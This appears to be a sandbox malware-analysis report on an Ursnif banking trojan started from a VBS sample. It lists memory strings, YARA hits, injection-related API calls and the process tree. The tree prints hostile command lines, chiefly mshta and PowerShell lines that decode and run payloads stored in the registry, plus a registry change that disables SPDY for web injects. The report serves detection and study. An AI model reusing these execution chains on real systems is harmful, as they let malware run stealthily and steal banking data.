Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.shopzilla.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.sify.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.so-net.ne.jp/share/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.sogou.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.sogou.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.soso.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.soso.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.t-online.de/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.taobao.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.taobao.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.target.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.target.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.tchibo.de/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.tchibo.de/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.tesco.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.tesco.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.timesonline.co.uk/img/favicon.ico
Source: explorer.exe, 0000001F.00000000.549206559.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.tiro.com
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.tiscali.it/favicon.ico
Source: explorer.exe, 0000001F.00000000.549206559.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.typography.netD
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.univision.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.univision.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.549206559.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.urwpp.deDPlease
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.walmart.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.walmart.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.ya.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www.yam.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.549206559.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.zhongyicts.com.cn
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www3.fnac.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://www3.fnac.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://xml-us.amznxslt.com/onca/xml?Service=AWSECommerceService&amp;Version=2008-06-26&amp;Operation
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://z.about.com/m/a08.ico
Source: powershell.exe, 00000016.00000003.464342861.00000265015AE000.00000004.00000001.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000016.00000003.464342861.00000265015AE000.00000004.00000001.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000016.00000003.464342861.00000265015AE000.00000004.00000001.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000016.00000003.463966889.00000265013EA000.00000004.00000001.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000016.00000003.464342861.00000265015AE000.00000004.00000001.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000016.00000003.463561816.000002650102F000.00000004.00000001.sdmp String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000016.00000003.463561816.000002650102F000.00000004.00000001.sdmp String found in binary or memory: https://oneget.orgX
Source: powershell.exe, 00000016.00000003.463561816.000002650102F000.00000004.00000001.sdmp String found in binary or memory: https://oneget.orgformat.ps1xmlagement.dll2040.missionsand

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Yara detected Ursnif
Source: Yara match File source: 00000003.00000003.414828910.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000003.506842838.000002656DBD0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414892314.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.509721795.00000000027B0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.423836026.0000000004BDB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.612829369.000002191303E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.612699598.0000021DB8A3E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.491033572.0000000004170000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414853101.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414912288.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000000.532328464.0000000004E1E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414925514.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414730489.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414774270.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414871579.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001C.00000002.562589004.0000000000C0E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.622893274.0000000004E1E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.515908651.00000000052D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000027.00000002.610642121.000002DACE3AE000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001C.00000003.499431243.0000027A6FE50000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: control.exe PID: 4456, type: MEMORY
Source: Yara match File source: Process Memory Space: explorer.exe PID: 3440, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 1040, type: MEMORY

E-Banking Fraud:

barindex
Yara detected Ursnif
Source: Yara match File source: 00000003.00000003.414828910.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000003.506842838.000002656DBD0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414892314.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.509721795.00000000027B0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.423836026.0000000004BDB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.612829369.000002191303E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.612699598.0000021DB8A3E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.491033572.0000000004170000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414853101.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414912288.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000000.532328464.0000000004E1E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414925514.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414730489.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414774270.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414871579.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001C.00000002.562589004.0000000000C0E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.622893274.0000000004E1E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.515908651.00000000052D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000027.00000002.610642121.000002DACE3AE000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001C.00000003.499431243.0000027A6FE50000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: control.exe PID: 4456, type: MEMORY
Source: Yara match File source: Process Memory Space: explorer.exe PID: 3440, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 1040, type: MEMORY
Disables SPDY (HTTP compression, likely to perform web injects)
Source: C:\Windows\explorer.exe Registry key value created / modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings EnableSPDY3_0 0

System Summary:

barindex
Contains functionality to call native functions
Source: C:\Windows\System32\control.exe Code function: 28_2_00BE3830 NtWriteVirtualMemory, 28_2_00BE3830
Source: C:\Windows\System32\control.exe Code function: 28_2_00BE387C NtCreateSection, 28_2_00BE387C
Source: C:\Windows\System32\control.exe Code function: 28_2_00BDBAB4 NtAllocateVirtualMemory, 28_2_00BDBAB4
Source: C:\Windows\System32\control.exe Code function: 28_2_00BE1AC4 NtQueryInformationProcess, 28_2_00BE1AC4
Source: C:\Windows\System32\control.exe Code function: 28_2_00BDCCA0 NtReadVirtualMemory, 28_2_00BDCCA0
Source: C:\Windows\System32\control.exe Code function: 28_2_00BFADD4 NtQueryInformationProcess, 28_2_00BFADD4
Source: C:\Windows\System32\control.exe Code function: 28_2_00BEF560 NtSetInformationProcess,CreateRemoteThread,ResumeThread,FindCloseChangeNotification, 28_2_00BEF560
Source: C:\Windows\System32\control.exe Code function: 28_2_00BFF7EC NtQueryInformationToken,NtQueryInformationToken,NtClose, 28_2_00BFF7EC
Source: C:\Windows\System32\control.exe Code function: 28_2_00BEFFCC NtMapViewOfSection, 28_2_00BEFFCC
Source: C:\Windows\System32\control.exe Code function: 28_2_00BF676C RtlAllocateHeap,NtSetContextThread,NtUnmapViewOfSection,NtClose, 28_2_00BF676C
Source: C:\Windows\System32\control.exe Code function: 28_2_00C11003 NtProtectVirtualMemory,NtProtectVirtualMemory, 28_2_00C11003
Source: C:\Windows\explorer.exe Code function: 31_2_04DECCA0 NtReadVirtualMemory, 31_2_04DECCA0
Source: C:\Windows\explorer.exe Code function: 31_2_04DFF560 NtSetInformationProcess,CreateRemoteThread,ResumeThread,FindCloseChangeNotification, 31_2_04DFF560
Source: C:\Windows\explorer.exe Code function: 31_2_04DFAD14 NtQuerySystemInformation, 31_2_04DFAD14
Source: C:\Windows\explorer.exe Code function: 31_2_04E0F7EC NtQueryInformationToken,NtQueryInformationToken,NtClose,NtClose, 31_2_04E0F7EC
Source: C:\Windows\explorer.exe Code function: 31_2_04DFFFCC NtMapViewOfSection, 31_2_04DFFFCC
Source: C:\Windows\explorer.exe Code function: 31_2_04E0676C RtlAllocateHeap,NtSetContextThread,NtUnmapViewOfSection,NtClose, 31_2_04E0676C
Source: C:\Windows\explorer.exe Code function: 31_2_04DF387C NtCreateSection, 31_2_04DF387C
Source: C:\Windows\explorer.exe Code function: 31_2_04DF3830 NtWriteVirtualMemory, 31_2_04DF3830
Source: C:\Windows\explorer.exe Code function: 31_2_04DF1AC4 NtQueryInformationProcess, 31_2_04DF1AC4
Source: C:\Windows\explorer.exe Code function: 31_2_04DEBAB4 NtAllocateVirtualMemory, 31_2_04DEBAB4
Source: C:\Windows\explorer.exe Code function: 31_2_04E21003 NtProtectVirtualMemory,NtProtectVirtualMemory, 31_2_04E21003
Detected potential crypto function
Source: C:\Windows\System32\control.exe Code function: 28_2_00BFC164 28_2_00BFC164
Source: C:\Windows\System32\control.exe Code function: 28_2_00BFA4BC 28_2_00BFA4BC
Source: C:\Windows\System32\control.exe Code function: 28_2_00BF676C 28_2_00BF676C
Source: C:\Windows\System32\control.exe Code function: 28_2_00BFE080 28_2_00BFE080
Source: C:\Windows\System32\control.exe Code function: 28_2_00BF20F8 28_2_00BF20F8
Source: C:\Windows\System32\control.exe Code function: 28_2_00BD203C 28_2_00BD203C
Source: C:\Windows\System32\control.exe Code function: 28_2_00BF0034 28_2_00BF0034
Source: C:\Windows\System32\control.exe Code function: 28_2_00BF6064 28_2_00BF6064
Source: C:\Windows\System32\control.exe Code function: 28_2_00BEB040 28_2_00BEB040
Source: C:\Windows\System32\control.exe Code function: 28_2_00BF91A0 28_2_00BF91A0
Source: C:\Windows\System32\control.exe Code function: 28_2_00BE9138 28_2_00BE9138
Source: C:\Windows\System32\control.exe Code function: 28_2_00BDC134 28_2_00BDC134
Source: C:\Windows\System32\control.exe Code function: 28_2_00BE1174 28_2_00BE1174
Source: C:\Windows\System32\control.exe Code function: 28_2_00BFF940 28_2_00BFF940
Source: C:\Windows\System32\control.exe Code function: 28_2_00BF8224 28_2_00BF8224
Source: C:\Windows\System32\control.exe Code function: 28_2_00BF3208 28_2_00BF3208
Source: C:\Windows\System32\control.exe Code function: 28_2_00BE9380 28_2_00BE9380
Source: C:\Windows\System32\control.exe Code function: 28_2_00BD2BC8 28_2_00BD2BC8
Source: C:\Windows\System32\control.exe Code function: 28_2_00BD7320 28_2_00BD7320
Source: C:\Windows\System32\control.exe Code function: 28_2_00BD8B5C 28_2_00BD8B5C
Source: C:\Windows\System32\control.exe Code function: 28_2_00BE8B4C 28_2_00BE8B4C
Source: C:\Windows\System32\control.exe Code function: 28_2_00BF94B8 28_2_00BF94B8
Source: C:\Windows\System32\control.exe Code function: 28_2_00BE9CB0 28_2_00BE9CB0
Source: C:\Windows\System32\control.exe Code function: 28_2_00BED4A8 28_2_00BED4A8
Source: C:\Windows\System32\control.exe Code function: 28_2_00BDBCF8 28_2_00BDBCF8
Source: C:\Windows\System32\control.exe Code function: 28_2_00BE3CE0 28_2_00BE3CE0
Source: C:\Windows\System32\control.exe Code function: 28_2_00BF74CC 28_2_00BF74CC
Source: C:\Windows\System32\control.exe Code function: 28_2_00BE0CC0 28_2_00BE0CC0
Source: C:\Windows\System32\control.exe Code function: 28_2_00BDD460 28_2_00BDD460
Source: C:\Windows\System32\control.exe Code function: 28_2_00BE1D94 28_2_00BE1D94
Source: C:\Windows\System32\control.exe Code function: 28_2_00BE452C 28_2_00BE452C
Source: C:\Windows\System32\control.exe Code function: 28_2_00BEB520 28_2_00BEB520
Source: C:\Windows\System32\control.exe Code function: 28_2_00BFB516 28_2_00BFB516
Source: C:\Windows\System32\control.exe Code function: 28_2_00BD6D08 28_2_00BD6D08
Source: C:\Windows\System32\control.exe Code function: 28_2_00BF26B4 28_2_00BF26B4
Source: C:\Windows\System32\control.exe Code function: 28_2_00BFBEB0 28_2_00BFBEB0
Source: C:\Windows\System32\control.exe Code function: 28_2_00BDAE04 28_2_00BDAE04
Source: C:\Windows\System32\control.exe Code function: 28_2_00BD37B8 28_2_00BD37B8
Source: C:\Windows\System32\control.exe Code function: 28_2_00BE17B8 28_2_00BE17B8
Source: C:\Windows\System32\control.exe Code function: 28_2_00BFAFB8 28_2_00BFAFB8
Source: C:\Windows\System32\control.exe Code function: 28_2_00BD9F98 28_2_00BD9F98
Source: C:\Windows\System32\control.exe Code function: 28_2_00BEF770 28_2_00BEF770
Source: C:\Windows\System32\control.exe Code function: 28_2_00BDB75C 28_2_00BDB75C
Source: C:\Windows\explorer.exe Code function: 31_2_04E0A4BC 31_2_04E0A4BC
Source: C:\Windows\explorer.exe Code function: 31_2_04E0AFB8 31_2_04E0AFB8
Source: C:\Windows\explorer.exe Code function: 31_2_04DE37B8 31_2_04DE37B8
Source: C:\Windows\explorer.exe Code function: 31_2_04DEB75C 31_2_04DEB75C
Source: C:\Windows\explorer.exe Code function: 31_2_04E0676C 31_2_04E0676C
Source: C:\Windows\explorer.exe Code function: 31_2_04DFF770 31_2_04DFF770
Source: C:\Windows\explorer.exe Code function: 31_2_04E00034 31_2_04E00034
Source: C:\Windows\explorer.exe Code function: 31_2_04E091A0 31_2_04E091A0
Source: C:\Windows\explorer.exe Code function: 31_2_04E0C164 31_2_04E0C164
Source: C:\Windows\explorer.exe Code function: 31_2_04DF9138 31_2_04DF9138
Source: C:\Windows\explorer.exe Code function: 31_2_04DEC134 31_2_04DEC134
Source: C:\Windows\explorer.exe Code function: 31_2_04DF0CC0 31_2_04DF0CC0
Source: C:\Windows\explorer.exe Code function: 31_2_04DEBCF8 31_2_04DEBCF8
Source: C:\Windows\explorer.exe Code function: 31_2_04E074CC 31_2_04E074CC
Source: C:\Windows\explorer.exe Code function: 31_2_04DF3CE0 31_2_04DF3CE0
Source: C:\Windows\explorer.exe Code function: 31_2_04E094B8 31_2_04E094B8
Source: C:\Windows\explorer.exe Code function: 31_2_04DF9CB0 31_2_04DF9CB0
Source: C:\Windows\explorer.exe Code function: 31_2_04DFD4A8 31_2_04DFD4A8
Source: C:\Windows\explorer.exe Code function: 31_2_04DE5474 31_2_04DE5474
Source: C:\Windows\explorer.exe Code function: 31_2_04DED460 31_2_04DED460
Source: C:\Windows\explorer.exe Code function: 31_2_04DF1D94 31_2_04DF1D94
Source: C:\Windows\explorer.exe Code function: 31_2_04DE6D08 31_2_04DE6D08
Source: C:\Windows\explorer.exe Code function: 31_2_04DF452C 31_2_04DF452C
Source: C:\Windows\explorer.exe Code function: 31_2_04E0B516 31_2_04E0B516
Source: C:\Windows\explorer.exe Code function: 31_2_04DFB520 31_2_04DFB520
Source: C:\Windows\explorer.exe Code function: 31_2_04E0BEB0 31_2_04E0BEB0
Source: C:\Windows\explorer.exe Code function: 31_2_04E026B4 31_2_04E026B4
Source: C:\Windows\explorer.exe Code function: 31_2_04DEAE04 31_2_04DEAE04
Source: C:\Windows\explorer.exe Code function: 31_2_04DE9F98 31_2_04DE9F98
Source: C:\Windows\explorer.exe Code function: 31_2_04DF17B8 31_2_04DF17B8
Source: C:\Windows\explorer.exe Code function: 31_2_04E020F8 31_2_04E020F8
Source: C:\Windows\explorer.exe Code function: 31_2_04E0E080 31_2_04E0E080
Source: C:\Windows\explorer.exe Code function: 31_2_04E06064 31_2_04E06064
Source: C:\Windows\explorer.exe Code function: 31_2_04DFB040 31_2_04DFB040
Source: C:\Windows\explorer.exe Code function: 31_2_04DE203C 31_2_04DE203C
Source: C:\Windows\explorer.exe Code function: 31_2_04E0F940 31_2_04E0F940
Source: C:\Windows\explorer.exe Code function: 31_2_04DF1174 31_2_04DF1174
Source: C:\Windows\explorer.exe Code function: 31_2_04E08224 31_2_04E08224
Source: C:\Windows\explorer.exe Code function: 31_2_04E03208 31_2_04E03208
Source: C:\Windows\explorer.exe Code function: 31_2_04DE2BC8 31_2_04DE2BC8
Source: C:\Windows\explorer.exe Code function: 31_2_04DF9380 31_2_04DF9380
Source: C:\Windows\explorer.exe Code function: 31_2_04DE8B5C 31_2_04DE8B5C
Source: C:\Windows\explorer.exe Code function: 31_2_04DF8B4C 31_2_04DF8B4C
Source: C:\Windows\explorer.exe Code function: 31_2_04DE7320 31_2_04DE7320
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\earmark.avchd 66EAF5C2BC2EC2A01D74DB9CC50744C748388CD9B0FA1F07181E639E128803EF
Java / VBScript file with very long strings (likely obfuscated code)
Source: 6znkPyTAVN7V.vbs Initial sample: Strings found which are bigger than 50
PE file does not import any functions
Source: dvgqxizg.dll.29.dr Static PE information: No import functions for PE file found
Source: 41myt1z4.dll.26.dr Static PE information: No import functions for PE file found
Searches for the Microsoft Outlook file path
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
Tries to load missing DLLs
Source: C:\Windows\explorer.exe Section loaded: cryptdlg.dll
Source: C:\Windows\explorer.exe Section loaded: msoert2.dll
Source: C:\Windows\explorer.exe Section loaded: msimg32.dll
Source: classification engine Classification label: mal100.bank.troj.spyw.evad.winVBS@28/41@11/2
Source: C:\Program Files\internet explorer\iexplore.exe File created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{051BC4BB-2B60-11EB-90E5-ECF4BB2D2496}.dat Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5288:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2916:120:WilError_01
Source: C:\Windows\System32\control.exe Mutant created: \Sessions\1\BaseNamedObjects\{CE3E3C9F-D537-30A7-CFE2-D96473361DD8}
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: \Sessions\1\BaseNamedObjects\{5681524C-BDC8-F872-F7EA-41AC1BBE05A0}
Source: C:\Windows\System32\wscript.exe File created: C:\Users\user\AppData\Local\Temp\adobe.url Jump to behavior
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\6znkPyTAVN7V.vbs'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
Source: C:\Windows\System32\wscript.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process
Source: C:\Windows\System32\wscript.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\System32\wscript.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Windows\System32\wscript.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\System32\nslookup.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\nslookup.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: 6znkPyTAVN7V.vbs Virustotal: Detection: 13%
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\6znkPyTAVN7V.vbs'
Source: unknown Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: unknown Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6592 CREDAT:17410 /prefetch:2
Source: unknown Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6592 CREDAT:17420 /prefetch:2
Source: unknown Process created: C:\Windows\System32\mshta.exe 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\86EC23E5-2D5A-A875-E71A-B15C0BEE7550\\\Actidsrv'));if(!window.flag)close()</script>'
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').basebapi))
Source: unknown Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\41myt1z4\41myt1z4.cmdline'
Source: unknown Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RES2F3F.tmp' 'c:\Users\user\AppData\Local\Temp\41myt1z4\CSC9757D2D6F9F84ABABCD57DA7E4EFF939.TMP'
Source: unknown Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h
Source: unknown Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\dvgqxizg\dvgqxizg.cmdline'
Source: unknown Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RES4817.tmp' 'c:\Users\user\AppData\Local\Temp\dvgqxizg\CSC2062E18B5949488FB5158C917D4EBA9.TMP'
Source: unknown Process created: C:\Windows\System32\cmd.exe cmd /C 'nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user\AppData\Local\Temp\9047.bi1'
Source: unknown Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Windows\System32\nslookup.exe nslookup myip.opendns.com resolver1.opendns.com
Source: C:\Program Files\internet explorer\iexplore.exe Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6592 CREDAT:17410 /prefetch:2 Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6592 CREDAT:17420 /prefetch:2 Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').basebapi)) Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\41myt1z4\41myt1z4.cmdline' Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\dvgqxizg\dvgqxizg.cmdline' Jump to behavior
